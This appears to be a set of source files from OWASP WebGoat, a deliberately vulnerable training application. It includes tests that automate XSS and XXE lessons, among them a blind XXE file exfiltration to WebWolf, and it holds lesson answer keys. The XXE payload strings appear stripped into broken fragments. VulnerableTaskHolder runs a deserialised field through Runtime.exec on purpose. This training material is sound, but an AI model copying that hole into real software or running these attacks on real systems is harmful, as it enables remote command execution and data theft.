src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java ================================================ package org.owasp.webgoat; import static org.junit.jupiter.api.Assertions.assertTrue; import java.io.IOException; import java.util.HashMap; import java.util.Map; import org.junit.jupiter.api.Test; import io.restassured.RestAssured; public class WebWolfIntegrationTest extends IntegrationTest { @Test public void runTests() throws IOException { startLesson("WebWolfIntroduction"); //Assignment 3 Map params = new HashMap<>(); params.clear(); params.put("email", this.getUser()+"@webgoat.org"); checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false); String responseBody = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("WEBWOLFSESSION", getWebWolfCookie()) .get(webWolfUrl("/WebWolf/mail")) .then() .extract().response().getBody().asString(); String uniqueCode = responseBody.replace("%20", " "); uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length())); params.clear(); params.put("uniqueCode", uniqueCode); checkAssignment(url("/WebGoat/WebWolf/mail"), params, true); //Assignment 4 RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .queryParams(params) .get(url("/WebGoat/WebWolf/landing/password-reset")) .then() .statusCode(200); RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("WEBWOLFSESSION", getWebWolfCookie()) .queryParams(params) .get(webWolfUrl("/landing")) .then() .statusCode(200); responseBody = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("WEBWOLFSESSION", getWebWolfCookie()) .get(webWolfUrl("/WebWolf/requests")) .then() .extract().response().getBody().asString(); assertTrue(responseBody.contains(uniqueCode)); params.clear(); params.put("uniqueCode", uniqueCode); checkAssignment(url("/WebGoat/WebWolf/landing"), params, true); checkResults("/WebWolf"); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/XSSIntegrationTest.java ================================================ package org.owasp.webgoat; import io.restassured.RestAssured; import java.util.HashMap; import java.util.Map; import org.junit.jupiter.api.Test; public class XSSIntegrationTest extends IntegrationTest { @Test public void crossSiteScriptingAssignments() { startLesson("CrossSiteScripting"); Map params = new HashMap<>(); params.clear(); params.put("checkboxAttack1", "value"); checkAssignment(url("/CrossSiteScripting/attack1"), params, true); params.clear(); params.put("QTY1", "1"); params.put("QTY2", "1"); params.put("QTY3", "1"); params.put("QTY4", "1"); params.put("field1", ""); params.put("field2", "111"); checkAssignmentWithGet(url("/CrossSiteScripting/attack5a"), params, true); params.clear(); params.put("DOMTestRoute", "start.mvc#test"); checkAssignment(url("/CrossSiteScripting/attack6a"), params, true); params.clear(); params.put("param1", "42"); params.put("param2", "24"); String result = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .header("webgoat-requested-by", "dom-xss-vuln") .header("X-Requested-With", "XMLHttpRequest") .formParams(params) .post(url("/CrossSiteScripting/phone-home-xss")) .then() .statusCode(200) .extract().path("output"); String secretNumber = result.substring("phoneHome Response is ".length()); params.clear(); params.put("successMessage", secretNumber); checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true); params.clear(); params.put("question_0_solution", "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious."); params.put("question_1_solution", "Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content."); params.put("question_2_solution", "Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server."); params.put("question_3_solution", "Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request."); params.put("question_4_solution", "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes."); checkAssignment(url("/CrossSiteScripting/quiz"), params, true); checkResults("/CrossSiteScripting/"); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/XXEIntegrationTest.java ================================================ package org.owasp.webgoat; import io.restassured.RestAssured; import io.restassured.http.ContentType; import org.junit.jupiter.api.Test; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; public class XXEIntegrationTest extends IntegrationTest { private static final String xxe3 = """ ]>&xxe;test"""; private static final String xxe4 = """ ]>&xxe;test"""; private static final String dtd7 = """ ">%all;"""; private static final String xxe7 = """ %remote;]>test&send;"""; private String webGoatHomeDirectory; private String webWolfFileServerLocation; /* * This test is to verify that all is secure when XXE security patch is applied. */ @Test public void xxeSecure() throws IOException { startLesson("XXE"); webGoatHomeDirectory = webGoatServerDirectory(); webWolfFileServerLocation = getWebWolfFileServerLocation(); RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .get(url("service/enable-security.mvc")) .then() .statusCode(200); checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false); checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false); checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "" + getSecret() + "", false); } /** * This performs the steps of the exercise before the secret can be committed in the final step. * * @return * @throws IOException */ private String getSecret() throws IOException { //remove any left over DTD Path webWolfFilePath = Paths.get(webWolfFileServerLocation); if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) { Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd"))); } String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt"); String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile); //upload DTD RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("WEBWOLFSESSION", getWebWolfCookie()) .multiPart("file", "blind.dtd", dtd7String.getBytes()) .post(webWolfUrl("/fileupload")) .then() .extract().response().getBody().asString(); //upload attack String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser()); checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false); //read results from WebWolf String result = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("WEBWOLFSESSION", getWebWolfCookie()) .get(webWolfUrl("/WebWolf/requests")) .then() .extract().response().getBody().asString(); result = result.replace("%20", " "); if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) { result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33); } return result; } @Test public void runTests() throws IOException { startLesson("XXE", true); webGoatHomeDirectory = webGoatServerDirectory(); webWolfFileServerLocation = getWebWolfFileServerLocation(); checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true); checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true); checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "" + getSecret() + "", true); checkResults("xxe/"); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java ================================================ package org.dummy.insecure.framework; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.ObjectInputStream; import java.io.Serializable; import java.time.LocalDateTime; import lombok.extern.slf4j.Slf4j; @Slf4j // TODO move back to lesson public class VulnerableTaskHolder implements Serializable { private static final long serialVersionUID = 2; private String taskName; private String taskAction; private LocalDateTime requestedExecutionTime; public VulnerableTaskHolder(String taskName, String taskAction) { super(); this.taskName = taskName; this.taskAction = taskAction; this.requestedExecutionTime = LocalDateTime.now(); } @Override public String toString() { return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime=" + requestedExecutionTime + "]"; } /** * Execute a task when de-serializing a saved or received object. * * @author stupid develop */ private void readObject(ObjectInputStream stream) throws Exception { // unserialize data so taskName and taskAction are available stream.defaultReadObject(); // do something with the data log.info("restoring task: {}", taskName); log.info("restoring time: {}", requestedExecutionTime); if (requestedExecutionTime != null && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10)) || requestedExecutionTime.isAfter(LocalDateTime.now()))) { // do nothing is the time is not within 10 minutes after the object has been created log.debug(this.toString()); throw new IllegalArgumentException("outdated"); } // condition is here to prevent you from destroying the goat altogether if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping")) && taskAction.length() < 22) { log.info("about to execute: {}", taskAction); try { Process p = Runtime.getRuntime().exec(taskAction); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String line = null; while ((line = in.readLine()) != null) { log.info(line); } } catch (IOException e) { log.error("IO Exception", e); } } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java ================================================ /** * ************************************************************************************************* * *

* *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. */ package org.owasp.webgoat.container; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.springframework.security.core.AuthenticationException; import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint; /** * AjaxAuthenticationEntryPoint class. * * @author zupzup */ public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint { public AjaxAuthenticationEntryPoint(String loginFormUrl) { super(loginFormUrl); } @Override public void commence( HttpServletRequest request, HttpServletResponse response, AuthenticationException authException) throws IOException, ServletException { if (request.getHeader("x-requested-with") != null) { response.sendError(401, authException.getMessage()); } else { super.commence(request, response, authException); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java ================================================ /** * ************************************************************************************************ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * *

* * @author WebGoat * @version $Id: $Id * @since December 12, 2015 */ package org.owasp.webgoat.container; import static org.asciidoctor.Asciidoctor.Factory.create; import io.undertow.util.Headers; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.StringWriter; import java.util.HashMap; import java.util.Locale; import java.util.Map; import java.util.Set; import javax.servlet.http.HttpServletRequest; import lombok.extern.slf4j.Slf4j; import org.asciidoctor.Asciidoctor; import org.asciidoctor.extension.JavaExtensionRegistry; import org.owasp.webgoat.container.asciidoc.*; import org.owasp.webgoat.container.i18n.Language; import org.springframework.core.io.ResourceLoader; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.i18n.SessionLocaleResolver; import org.thymeleaf.IEngineConfiguration; import org.thymeleaf.templateresolver.FileTemplateResolver; import org.thymeleaf.templateresource.ITemplateResource; import org.thymeleaf.templateresource.StringTemplateResource; /** * Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file: * *

*

* */ @Slf4j public class AsciiDoctorTemplateResolver extends FileTemplateResolver { private static final Asciidoctor asciidoctor = create(); private static final String PREFIX = "doc:"; private final Language language; private final ResourceLoader resourceLoader; public AsciiDoctorTemplateResolver(Language language, ResourceLoader resourceLoader) { this.resourceLoader = resourceLoader; this.language = language; setResolvablePatterns(Set.of(PREFIX + "*")); } @Override protected ITemplateResource computeTemplateResource( IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map templateResolutionAttributes) { var templateName = resourceName.substring(PREFIX.length()); log.debug("template used: {}", templateName); try (InputStream is = getInputStream(templateName)) { JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry(); extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class); extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class); extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class); extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class); extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class); extensionRegistry.inlineMacro("username", UsernameMacro.class); StringWriter writer = new StringWriter(); asciidoctor.convert(new InputStreamReader(is), writer, createAttributes()); return new StringTemplateResource(writer.getBuffer().toString()); } catch (IOException e) { return new StringTemplateResource( "
Unable to find documentation for: " + templateName + "
"); } } private InputStream getInputStream(String templateName) throws IOException { log.debug("locale: {}", language.getLocale().getLanguage()); String computedResourceName = computeResourceName(templateName, language.getLocale().getLanguage()); if (resourceLoader .getResource("classpath:/" + computedResourceName) .isReadable() /*isFile()*/) { log.debug("localized file exists"); return resourceLoader.getResource("classpath:/" + computedResourceName).getInputStream(); } else { log.debug("using english template"); return resourceLoader.getResource("classpath:/" + templateName).getInputStream(); } } private String computeResourceName(String resourceName, String language) { String computedResourceName; if (language.equals("en")) { computedResourceName = resourceName; } else { computedResourceName = resourceName.replace(".adoc", "_".concat(language).concat(".adoc")); } log.debug("computed local file name: {}", computedResourceName); log.debug( "file exists: {}", resourceLoader.getResource("classpath:/" + computedResourceName).isReadable()); return computedResourceName; } private Map createAttributes() { Map attributes = new HashMap<>(); attributes.put("source-highlighter", "coderay"); attributes.put("backend", "xhtml"); attributes.put("lang", determineLanguage()); attributes.put("icons", org.asciidoctor.Attributes.FONT_ICONS); Map options = new HashMap<>(); options.put("attributes", attributes); return options; } private String determineLanguage() { HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest(); Locale browserLocale = (Locale) request.getSession().getAttribute(SessionLocaleResolver.LOCALE_SESSION_ATTRIBUTE_NAME); if (null != browserLocale) { log.debug("browser locale {}", browserLocale); return browserLocale.getLanguage(); } else { String langHeader = request.getHeader(Headers.ACCEPT_LANGUAGE_STRING); if (null != langHeader) { log.debug("browser locale {}", langHeader); return langHeader.substring(0, 2); } else { log.debug("browser default english"); return "en"; } } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java ================================================ package org.owasp.webgoat.container; import java.util.Map; import java.util.function.Function; import javax.sql.DataSource; import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.flywaydb.core.Flyway; import org.owasp.webgoat.container.lessons.LessonScanner; import org.owasp.webgoat.container.service.RestartLessonService; import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Primary; import org.springframework.jdbc.datasource.DriverManagerDataSource; @Configuration @RequiredArgsConstructor @Slf4j public class DatabaseConfiguration { private final DataSourceProperties properties; private final LessonScanner lessonScanner; @Bean @Primary public DataSource dataSource() { DriverManagerDataSource dataSource = new DriverManagerDataSource(); dataSource.setDriverClassName(properties.getDriverClassName()); dataSource.setUrl(properties.getUrl()); dataSource.setUsername(properties.getUsername()); dataSource.setPassword(properties.getPassword()); return dataSource; } /** * Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users * and 1 for lesson specific tables we use. This way we clean the data in the lesson database * quite easily see {@link RestartLessonService#restartLesson()} for how we clean the lesson * related tables. */ @Bean(initMethod = "migrate") public Flyway flyWayContainer() { return Flyway.configure() .configuration(Map.of("driver", properties.getDriverClassName())) .dataSource(dataSource()) .schemas("container") .locations("db/container") .load(); } @Bean public Function flywayLessons(LessonDataSource lessonDataSource) { return schema -> Flyway.configure() .configuration(Map.of("driver", properties.getDriverClassName())) .schemas(schema) .dataSource(lessonDataSource) .locations("lessons") .load(); } @Bean public LessonDataSource lessonDataSource() { return new LessonDataSource(dataSource()); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/HammerHead.java ================================================ package org.owasp.webgoat.container; import lombok.AllArgsConstructor; import org.owasp.webgoat.container.session.Course; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.servlet.ModelAndView; /** * ************************************************************************************************* * *

* *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * * @author Jeff Williams * @author Bruce Mayhew * @author Nanne Baars * @version $Id: $Id * @since October 28, 2003 */ @Controller @AllArgsConstructor public class HammerHead { private final Course course; /** Entry point for WebGoat, redirects to the first lesson found within the course. */ @RequestMapping( path = "/attack", method = {RequestMethod.GET, RequestMethod.POST}) public ModelAndView attack() { return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink()); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/LessonDataSource.java ================================================ package org.owasp.webgoat.container; import java.io.PrintWriter; import java.lang.reflect.Proxy; import java.sql.Connection; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; import javax.sql.DataSource; import org.owasp.webgoat.container.lessons.LessonConnectionInvocationHandler; import org.springframework.jdbc.datasource.ConnectionProxy; public class LessonDataSource implements DataSource { private final DataSource originalDataSource; public LessonDataSource(DataSource dataSource) { this.originalDataSource = dataSource; } @Override public Connection getConnection() throws SQLException { var targetConnection = originalDataSource.getConnection(); return (Connection) Proxy.newProxyInstance( ConnectionProxy.class.getClassLoader(), new Class[] {ConnectionProxy.class}, new LessonConnectionInvocationHandler(targetConnection)); } @Override public Connection getConnection(String username, String password) throws SQLException { return originalDataSource.getConnection(username, password); } @Override public PrintWriter getLogWriter() throws SQLException { return originalDataSource.getLogWriter(); } @Override public void setLogWriter(PrintWriter out) throws SQLException { originalDataSource.setLogWriter(out); } @Override public void setLoginTimeout(int seconds) throws SQLException { originalDataSource.setLoginTimeout(seconds); } @Override public int getLoginTimeout() throws SQLException { return originalDataSource.getLoginTimeout(); } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return originalDataSource.getParentLogger(); } @Override public T unwrap(Class clazz) throws SQLException { return originalDataSource.unwrap(clazz); } @Override public boolean isWrapperFor(Class clazz) throws SQLException { return originalDataSource.isWrapperFor(clazz); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/LessonTemplateResolver.java ================================================ /** * ************************************************************************************************ * *

* *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * * @author WebGoat * @version $Id: $Id * @since October 28, 2003 */ package org.owasp.webgoat.container; import java.io.IOException; import java.nio.charset.StandardCharsets; import java.util.HashMap; import java.util.Map; import java.util.Set; import lombok.extern.slf4j.Slf4j; import org.springframework.core.io.ResourceLoader; import org.thymeleaf.IEngineConfiguration; import org.thymeleaf.templateresolver.FileTemplateResolver; import org.thymeleaf.templateresource.ITemplateResource; import org.thymeleaf.templateresource.StringTemplateResource; /** * Dynamically resolve a lesson. In the html file this can be invoked as: *

* * *

Thymeleaf will invoke this resolver based on the prefix and this implementation will resolve * the html in the plugins directory */ @Slf4j public class LessonTemplateResolver extends FileTemplateResolver { private static final String PREFIX = "lesson:"; private ResourceLoader resourceLoader; private Map resources = new HashMap<>(); public LessonTemplateResolver(ResourceLoader resourceLoader) { this.resourceLoader = resourceLoader; setResolvablePatterns(Set.of(PREFIX + "*")); } @Override protected ITemplateResource computeTemplateResource( IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map templateResolutionAttributes) { var templateName = resourceName.substring(PREFIX.length()); byte[] resource = resources.get(templateName); if (resource == null) { try { resource = resourceLoader .getResource("classpath:/" + templateName) .getInputStream() .readAllBytes(); } catch (IOException e) { log.error("Unable to find lesson HTML: {}", template); } resources.put(templateName, resource); } return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8)); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/MvcConfiguration.java ================================================ /** * ************************************************************************************************ * *

* *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * * @author WebGoat * @version $Id: $Id * @since October 28, 2003 */ package org.owasp.webgoat.container; import java.io.IOException; import java.nio.charset.StandardCharsets; import java.util.Map; import java.util.Set; import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.i18n.Language; import org.owasp.webgoat.container.i18n.Messages; import org.owasp.webgoat.container.i18n.PluginMessages; import org.owasp.webgoat.container.lessons.LessonScanner; import org.owasp.webgoat.container.session.LabelDebugger; import org.springframework.context.ApplicationContext; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.core.io.ResourceLoader; import org.springframework.core.io.support.ResourcePatternResolver; import org.springframework.web.servlet.LocaleResolver; import org.springframework.web.servlet.ViewResolver; import org.springframework.web.servlet.config.annotation.InterceptorRegistry; import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; import org.springframework.web.servlet.config.annotation.ViewControllerRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; import org.springframework.web.servlet.i18n.LocaleChangeInterceptor; import org.springframework.web.servlet.i18n.SessionLocaleResolver; import org.thymeleaf.IEngineConfiguration; import org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect; import org.thymeleaf.spring5.SpringTemplateEngine; import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver; import org.thymeleaf.spring5.view.ThymeleafViewResolver; import org.thymeleaf.templatemode.TemplateMode; import org.thymeleaf.templateresolver.FileTemplateResolver; import org.thymeleaf.templateresolver.ITemplateResolver; import org.thymeleaf.templateresource.ITemplateResource; import org.thymeleaf.templateresource.StringTemplateResource; /** Configuration for Spring MVC */ @Configuration @RequiredArgsConstructor @Slf4j public class MvcConfiguration implements WebMvcConfigurer { private static final String UTF8 = "UTF-8"; private final LessonScanner lessonScanner; @Override public void addViewControllers(ViewControllerRegistry registry) { registry.addViewController("/login").setViewName("login"); registry.addViewController("/lesson_content").setViewName("lesson_content"); registry.addViewController("/start.mvc").setViewName("main_new"); registry.addViewController("/scoreboard").setViewName("scoreboard"); } @Bean public ViewResolver viewResolver(SpringTemplateEngine thymeleafTemplateEngine) { ThymeleafViewResolver resolver = new ThymeleafViewResolver(); resolver.setTemplateEngine(thymeleafTemplateEngine); resolver.setCharacterEncoding(StandardCharsets.UTF_8.displayName()); return resolver; } /** * Responsible for loading lesson templates based on Thymeleaf, for example: * *

*/ @Bean public ITemplateResolver lessonThymeleafTemplateResolver(ResourceLoader resourceLoader) { var resolver = new FileTemplateResolver() { @Override protected ITemplateResource computeTemplateResource( IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map templateResolutionAttributes) { try (var is = resourceLoader.getResource("classpath:" + resourceName).getInputStream()) { return new StringTemplateResource( new String(is.readAllBytes(), StandardCharsets.UTF_8)); } catch (IOException e) { return null; } } }; resolver.setOrder(1); return resolver; } /** Loads all normal WebGoat specific Thymeleaf templates */ @Bean public ITemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) { SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver(); resolver.setPrefix("classpath:/webgoat/templates/"); resolver.setSuffix(".html"); resolver.setTemplateMode(TemplateMode.HTML); resolver.setOrder(2); resolver.setCharacterEncoding(UTF8); resolver.setApplicationContext(applicationContext); return resolver; } /** Loads the html for the complete lesson, see lesson_content.html */ @Bean public LessonTemplateResolver lessonTemplateResolver(ResourceLoader resourceLoader) { LessonTemplateResolver resolver = new LessonTemplateResolver(resourceLoader); resolver.setOrder(0); resolver.setCacheable(false); resolver.setCharacterEncoding(UTF8); return resolver; } /** Loads the lesson asciidoc. */ @Bean public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver( Language language, ResourceLoader resourceLoader) { log.debug("template locale {}", language); AsciiDoctorTemplateResolver resolver = new AsciiDoctorTemplateResolver(language, resourceLoader); resolver.setCacheable(false); resolver.setOrder(1); resolver.setCharacterEncoding(UTF8); return resolver; } @Bean public SpringTemplateEngine thymeleafTemplateEngine( ITemplateResolver springThymeleafTemplateResolver, LessonTemplateResolver lessonTemplateResolver, AsciiDoctorTemplateResolver asciiDoctorTemplateResolver, ITemplateResolver lessonThymeleafTemplateResolver) { SpringTemplateEngine engine = new SpringTemplateEngine(); engine.setEnableSpringELCompiler(true); engine.addDialect(new SpringSecurityDialect()); engine.setTemplateResolvers( Set.of( lessonTemplateResolver, asciiDoctorTemplateResolver, lessonThymeleafTemplateResolver, springThymeleafTemplateResolver)); return engine; } @Override public void addResourceHandlers(ResourceHandlerRegistry registry) { // WebGoat internal registry.addResourceHandler("/css/**").addResourceLocations("classpath:/webgoat/static/css/"); registry.addResourceHandler("/js/**").addResourceLocations("classpath:/webgoat/static/js/"); registry .addResourceHandler("/plugins/**") .addResourceLocations("classpath:/webgoat/static/plugins/"); registry .addResourceHandler("/fonts/**") .addResourceLocations("classpath:/webgoat/static/fonts/"); // WebGoat lessons registry .addResourceHandler("/images/**") .addResourceLocations( lessonScanner.applyPattern("classpath:/lessons/%s/images/").toArray(String[]::new)); registry .addResourceHandler("/lesson_js/**") .addResourceLocations( lessonScanner.applyPattern("classpath:/lessons/%s/js/").toArray(String[]::new)); registry .addResourceHandler("/lesson_css/**") .addResourceLocations( lessonScanner.applyPattern("classpath:/lessons/%s/css/").toArray(String[]::new)); registry .addResourceHandler("/lesson_templates/**") .addResourceLocations( lessonScanner.applyPattern("classpath:/lessons/%s/templates/").toArray(String[]::new)); registry .addResourceHandler("/video/**") .addResourceLocations( lessonScanner.applyPattern("classpath:/lessons/%s/video/").toArray(String[]::new)); } @Bean public PluginMessages pluginMessages( Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) { PluginMessages pluginMessages = new PluginMessages(messages, language, resourcePatternResolver); pluginMessages.setDefaultEncoding("UTF-8"); pluginMessages.setBasenames("i18n/WebGoatLabels"); pluginMessages.setFallbackToSystemLocale(false); return pluginMessages; } @Bean public Language language(LocaleResolver localeResolver) { return new Language(localeResolver); } @Bean public LocaleResolver localeResolver() { SessionLocaleResolver localeResolver = new SessionLocaleResolver(); return localeResolver; } @Bean public LocaleChangeInterceptor localeChangeInterceptor() { LocaleChangeInterceptor lci = new LocaleChangeInterceptor(); lci.setParamName("lang"); return lci; } @Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(localeChangeInterceptor()); } @Bean public Messages messageSource(Language language) { Messages messages = new Messages(language); messages.setDefaultEncoding("UTF-8"); messages.setBasename("classpath:i18n/messages"); messages.setFallbackToSystemLocale(false); return messages; } @Bean public LabelDebugger labelDebugger() { return new LabelDebugger(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/WebGoat.java ================================================ /** * ************************************************************************************************ * *

* *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

